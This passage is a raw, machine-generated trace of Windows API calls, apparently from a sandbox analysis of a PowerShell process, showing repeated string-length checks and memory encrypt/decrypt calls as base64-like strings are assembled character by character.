(param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9") returned 0x20 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x37\x43\x2e\x6d\x70\x33\x2e\x6c") returned 0x28 [0134.892] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.892] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+A苔빎䜩ቂ耺釗掣") returned 0x28 [0134.892] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\xb4d3\x9519\xf2c6\x615c\x4b16\xb64d\x1de9\xf3ea") returned 0x28 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\xb4d3\x9519\xf2c6\x615c\x4b16\xb64d\x1de9\xf3ea") returned 0x28 [0134.892] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.892] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+Ay빎䜩ቂ耺釗掣") returned 0x28 [0134.892] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x595b\x42ae\x766f\x2ce3\x30e0\x471\xfe1\x538c") returned 0x28 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x595b\x42ae\x766f\x2ce3\x30e0\x471\xfe1\x538c") returned 0x28 [0134.892] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.892] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyM䜩ቂ耺釗掣") returned 0x28 [0134.892] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x38e4\x7c04\xfb52\x92b4\x23f6\xcd6d\x3bac\x8532") returned 0x28 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x38e4\x7c04\xfb52\x92b4\x23f6\xcd6d\x3bac\x8532") returned 0x28 [0134.893] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.893] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoቂ耺釗掣") returned 0x28 [0134.893] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.893] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\xb5a8\xf042\x1d61\xbb6c\x65d9\xb07d\x399a\xfd53") returned 0x28 [0134.893] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\xb5a8\xf042\x1d61\xbb6c\x65d9\xb07d\x399a\xfd53") returned 0x28 [0134.893] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.893] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoA耺釗掣") returned 0x28 [0134.893] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.893] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x6e62\xeaff\x8d00\x3d57\x2e18\x8d0d\xda2e\x1a78") returned 0x28 [0134.893] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x6e62\xeaff\x8d00\x3d57\x2e18\x8d0d\xda2e\x1a78") returned 0x28 [0134.893] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.893] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoA+釗掣") returned 0x28 [0134.893] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.893] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\xa50d\x29c0\xe2b2\xb00c\x89e6\x76c4\x91a7\x24ac") returned 0x28 [0134.893] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\xa50d\x29c0\xe2b2\xb00c\x89e6\x76c4\x91a7\x24ac") returned 0x28 [0134.893] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.893] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoA+u掣") returned 0x28 [0134.893] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.893] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x9583\xf995\x6e0f\x2a0e\x8364\x337e\x7023\xa2ca") returned 0x28 [0134.893] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x9583\xf995\x6e0f\x2a0e\x8364\x337e\x7023\xa2ca") returned 0x28 [0134.893] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.894] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoA+ur") returned 0x28 [0134.894] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.894] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4") returned 0x28 [0134.894] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4") returned 0x28 [0134.894] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4") returned 0x28 [0134.894] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4\x64\x7a\x41\x75\x5a\x6b\x48\x33") returned 0x30 [0134.894] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0134.894] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoA+urp汦⏛㿸ጇ") returned 0x30 [0134.894] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0134.894] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4\xa000\x888e\x9167\x52ae\xec49\x5a9c\xd333\x2dc7") returned 0x30 [0134.894] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4\xa000\x888e\x9167\x52ae\xec49\x5a9c\xd333\x2dc7") returned 0x30 [0134.894] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0134.894] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoA+urpX汦⏛㿸ጇ") returned 0x30 [0134.894] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0134.894] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4\x9a6\xecce\x2a55\x5656\x6be\xef9b\x9104\x7ef6") returned 0x30 [0134.894] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4\x9a6\xecce\x2a55\x5656\x6be\xef9b\x9104\x7ef6") returned 0x30 [0134.894] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0134.894] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoA+urpX8⏛㿸ጇ") returned 0x30 [0134.894] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0134.895] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4\x3682\x23fe\x64ac\x9963\x82e6\xfe9f\x851d\x69da") returned 0x30 [0134.895] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9\x179e\x9a83\x5bf5\x8c37\xa6ee\xe2b7\xe83f\x86d4\x3682\x23fe\x64ac\x9963\x82e6\xfe9f\x851d\x69da") returned 0x30 [0134.895] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0134.895] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+AyMoA+urpX8=⏛㿸ጇ") returned 0x30 [0134.895] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0134.895] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x01") returned 0x0 [0134.895] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.895] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.895] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x87, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.895] SysStringLen (param_1="") returned 0x8 [0134.895] SysStringLen (param_1="Y") returned 0x8 [0134.895] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.895] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.895] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0134.895] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.896] SysStringLen (param_1="YW") returned 0x8 [0134.896] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.896] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.896] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0134.896] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.896] SysStringLen (param_1="YWM") returned 0x8 [0134.896] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.897] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.897] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0134.897] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.897] SysStringLen (param_1="YWM1") returned 0x8 [0134.897] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.897] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.897] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0134.897] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.897] SysStringLen (param_1="YWM1O") returned 0x8 [0134.897] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.897] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.897] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0134.897] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.897] SysStringLen (param_1="YWM1OT") returned 0x8 [0134.897] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.897] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.897] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0134.897] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.898] SysStringLen (param_1="YWM1OTE") returned 0x8 [0134.898] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.898] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.898] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0134.898] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.898] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0134.898] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.898] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.898] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.898] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0134.898] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0134.898] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.898] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0134.898] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.898] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.898] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.898] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.898] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.898] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.899] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.899] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.899] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.899] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.899] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.899] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.899] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.899] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.899] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.899] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.899] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.900] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.900] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.900] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.900] SysStringLen 